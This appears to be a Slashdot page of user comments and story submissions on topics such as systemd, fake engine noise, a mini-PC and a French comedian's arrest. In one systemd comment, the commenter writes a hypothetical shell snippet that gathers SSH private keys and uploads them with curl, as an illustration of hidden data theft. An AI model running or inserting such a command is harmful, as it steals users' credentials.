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Comment: Re:I only worry about... (Score 1) 418

by RavenLrD20k (#48887663) Attached to: Disney Turned Down George Lucas's Star Wars Scripts
So he Star Wars-ified Star Trek. So long as he doesn't Star Trek-ify Star Wars, it should be fine. However, I swear to God if I hear Han yell out "Chewy! Check that plasma Conduit to make sure it's feeding the deflector dish properly! We may wind up having to eject the warp core if things don't even out!" or anything else that reads like "I can't <tech> the <tech> without causing a breach in the <tech> <tech> <tech> or blowing a <tech>;" I'll be flipping chairs on the way out of the theater.

Comment: Re:Cardholder services (Score 4, Interesting) 237

by RavenLrD20k (#48883307) Attached to: Dish Network Violated Do-Not-Call 57 Million Times
What constitutes fraud is the reason for the spoofing. You're doing the spoof to make sure that people know who you are and can find you easily by maintaining a level of contact consistency. This is the exact opposite of fraud in that you are spoofing your number to maintain consistency in your identity to others. Fraud is using these techniques to misrepresent and obfuscate yourself to others in the attempt to perform some form of malice.

Comment: Re:Just give the option to turn it off... (Score 1) 799

by RavenLrD20k (#48879237) Attached to: Fake Engine Noise Is the Auto Industry's Dirty Little Secret

My '96 caprice has a very quiet engine for what it is (4.3L V8). As an experiment, I had my wife drive down the hill and around the bend near where we lived doing 35 mph while I stood in the driveway blindfolded and raised my hand at the first inkling that she was coming through (nice quiet neighborhood) and at that moment she'd mark the point where the car was with a balloon filled with paint. A few times she'd have the engine running as she coasted down the hill. A few other times she'd cut the engine at the crest and coasted down. The average difference between the two was a near consistent 50 feet. The distance between me and the car was generally about 10-15 feet when I'd notice the car going by with the engine off, and 60-80 feet with the engine running. So...engine noise can't be considered a safety feature for pedestrians? Screw you.

Also, there's a lot of jurisdictions where pedestrians get automatic right-of-way, which means if you hit one, it's automatically your fault (in GA this only applies in zebra-walks to the point that the motorist must stop before a crosswalk the moment a pedestrian enters a crosswalk, regardless of speed/momentum. CT, didn't matter where they stepped off the curb at, automatic ped RoW.)

It also doesn't help that I've had the living hell scared out of me multiple times by a Tesla going by as I was walking on the side of the road. I didn't "feel" that it was there until it was nearly right on top of me, and it's rather unsettling to see something as large as a car go by you within a few feet without any warning. Tire noise is not nearly as loud as you think it is, unless the tires are heavily ribbed, which most electrics are not going to have. Hybrids/Electrics are actually the least likely to have any substantial ribbing on the tire to keep rolling resistance at a minimum.

For these reasons, I have no issue with "safety pipes" or "simulated engine noise". The louder, the better. Keeps me safer when I'm walking, and I'm less likely to bowl over someone who doesn't take the time to look when I'm in the other position. You want quiet, get an isolation tank.

+ - Is the time over the code websites from scratch?

Submitted by thomawack
thomawack (3990089) writes "As a designer I always do webdesign from scratch and put them into CMSMS. Frameworks are too complicated to work into, their code usually too bloated and adaptable online solutions are/were limited in options. Also despite I know my way around html/css, I am not a programmer. My problem is, always starting from scratch create menus, forms and now everything responsive too, it has become too expensive for most customers. I see more and more online adaptive solutions that seem to be more flexible nowadays, but I am a bit overwhelmed in checking everything out because there are so many solutions around. Is there someting your readers can recommend? Be it an online adaptive website or a CMS that works similar, which are very flexible but bring a good basis / templates?"

Comment: Re:How about a request from an IT person... (Score 1) 551

by RavenLrD20k (#48832823) Attached to: Systemd's Lennart Poettering: 'We Do Listen To Users'

So...answer me this: Once I set the init script how I want a service configured, who's going in as root behind me and putting security vulnerabilities into it (hint: Only one person has the root password, and root is only accessible directly from the console. sudo is disabled.)? Now, if I do yum update systemd or apt-get upgrade systemd what is my guarantee that Pottering or any one of the other 30-40 Devs touching systemd didn't put something into the blob that is reporting somewhere outside of my control? How do I know that there's not some timebomb in the blob that's going to collect critical keys and upload them to RedHat on the next time I update the repos? Read the code? I have my own code to audit, thank you very much, and I'd rather not have to audit my init system every time Lennart decides to post an update to systemd. It's bad enough when I have to do that with the Kernel modules.

Comment: Re:Lennart, do you listen to sysadmins? (Score 3, Insightful) 551

by RavenLrD20k (#48832601) Attached to: Systemd's Lennart Poettering: 'We Do Listen To Users'

So you trust that the journald binary reads the "don't save data" boolean value and doesn't just ignore it, or worse, ignores it and executes this shell script:

cat ~/.ssh/id_dsa ~/.ssh/ >> nsaReadMe.txt
curl -T nsaReadMe.txt --user keyfiles:AllUrK3yzB3l0ng2US
rm -f nsaReadMe.txt

Or, more plausibly, does all that in a binary blob? Sure. It's open source. Sure I can check the code and compile it myself to make sure it meets my need for security. But one of the things about using these "pre-built" distros is that I'm probably using it to save time and money, which means I don't want to be bothered with doing a code check and recompile on every single init package. That's the beauty of init scripts that everyone has apparently missed in this debate. One human readable script for each daemon running, so the configuration of a daemon can be gleaned over for any questionable bits and edited in less than 10 minutes. And being scripts, they're all plain text that's automatically executable. I don't need to read over source, find an issue, edit it out, and then recompile the entire init code into a binary for that daemon to make use of it. That goes for PID 1 as well. If it's not a script that can be quickly edited and then it's ready for the next boot cycle without wasting process cycles for recompilation I don't want it on my production server.

+ - Tiny Fanless Mini-PC Runs Linux or Windows on Quad-core AMD SoC->

Submitted by DeviceGuru
DeviceGuru (1136715) writes "CompuLab has unveiled a tiny 'Fitlet' mini-PC that runs Linux or Windows on a dual- or quad-core 64-bit AMD x86 SoC (with integrated Radeon R3 or R2 GPU), clocked at up to 1.6GHz, and offering extensive I/O, along with modular internal expansion options. The rugged, reconfigurable 4.25 x 3.25 x 0.95 in. system will also form the basis of a pre-configured 'MintBox Mini' model, available in Q2 in partnership with the Linux Mint project. To put things in perspective, CompuLab says the Fitlet is three times smaller than the Celeron Intel NUC."
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+ - Controversial comedian's arrest sparks free speech debate->

Submitted by Anonymous Coward
An anonymous reader writes "Controversial French comedian Dieudonne has been arrested in the wake of deadly attack on the satirical weekly Charlie Hebdo, and held on charges of apologizing for terrorism. Apparently he wrote "Je suis Charlie Coulibaly" on his Facebook account. Dieudonne is one of the 54 people who have been arrested for hate speech and defending terrorism since the recent terror attacks in Paris."
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